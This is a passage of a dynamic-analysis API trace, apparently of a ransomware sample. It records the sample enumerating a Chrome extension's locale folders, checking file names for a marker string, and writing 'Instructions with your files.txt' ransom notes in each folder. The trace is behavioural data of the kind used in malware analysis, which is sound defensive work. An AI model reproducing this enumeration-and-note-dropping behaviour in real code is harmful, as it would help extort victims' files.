[0129.433] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*") returned 145
[0129.433] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.434] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\.") returned 145
[0129.434] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.434] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\..") returned 146
[0129.434] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.434] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 157
[0129.434] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.434] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.434] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\Instructions with your files.txt") returned 176
[0129.435] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.435] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.436] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.436] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.436] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.436] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.436] CloseHandle (hObject=0x134) returned 1
[0129.436] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.436] GetProcessHeap () returned 0x810000
[0129.436] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.436] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
[0129.436] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi") returned 143
[0129.436] GetProcessHeap () returned 0x810000
[0129.436] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.436] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*") returned 145
[0129.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.437] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\.") returned 145
[0129.437] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.437] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\..") returned 146
[0129.437] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.437] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 157
[0129.437] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.437] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.437] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\Instructions with your files.txt") returned 176
[0129.437] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.437] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.438] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.438] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.438] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.438] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.438] CloseHandle (hObject=0x134) returned 1
[0129.439] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.439] GetProcessHeap () returned 0x810000
[0129.439] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.439] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
[0129.439] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN") returned 146
[0129.439] GetProcessHeap () returned 0x810000
[0129.439] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.439] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*") returned 148
[0129.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.440] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\.") returned 148
[0129.440] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.440] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\..") returned 149
[0129.440] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.440] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 160
[0129.440] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.440] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.440] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\Instructions with your files.txt") returned 179
[0129.440] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.440] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.441] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.441] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.441] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.442] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.442] CloseHandle (hObject=0x134) returned 1
[0129.442] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.442] GetProcessHeap () returned 0x810000
[0129.442] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.442] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
[0129.442] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW") returned 146
[0129.442] GetProcessHeap () returned 0x810000
[0129.442] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.442] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*") returned 148
[0129.442] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.442] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\.") returned 148
[0129.443] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.443] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\..") returned 149
[0129.443] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.443] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 160
[0129.443] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.443] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.443] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\Instructions with your files.txt") returned 179
